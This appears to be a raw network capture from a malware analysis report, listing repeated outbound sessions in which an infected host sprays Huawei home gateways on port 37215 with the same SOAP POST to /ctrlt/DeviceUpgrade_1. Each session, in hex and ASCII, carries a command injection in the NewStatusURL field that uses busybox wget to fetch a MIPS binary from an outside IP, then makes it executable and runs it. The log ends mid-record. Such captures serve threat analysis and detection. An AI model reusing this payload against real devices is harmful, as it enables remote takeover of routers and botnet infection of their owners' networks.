72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	56820	156.202.78.248	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.121211052 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	56118	41.185.23.149	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.123507977 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	50012	41.26.175.192	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.206768990 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	51518	156.175.237.207	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.207372904 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	54296	41.98.119.45	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.208045006 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	34746	197.186.28.45	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.208709955 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	50832	156.219.163.0	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.209621906 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	43304	156.33.99.108	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.210333109 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	39948	41.189.109.120	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.210990906 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	37020	197.170.117.10	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.211692095 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	42646	41.141.128.89	37215

Timestamp	Bytes transferred	Direction	Data
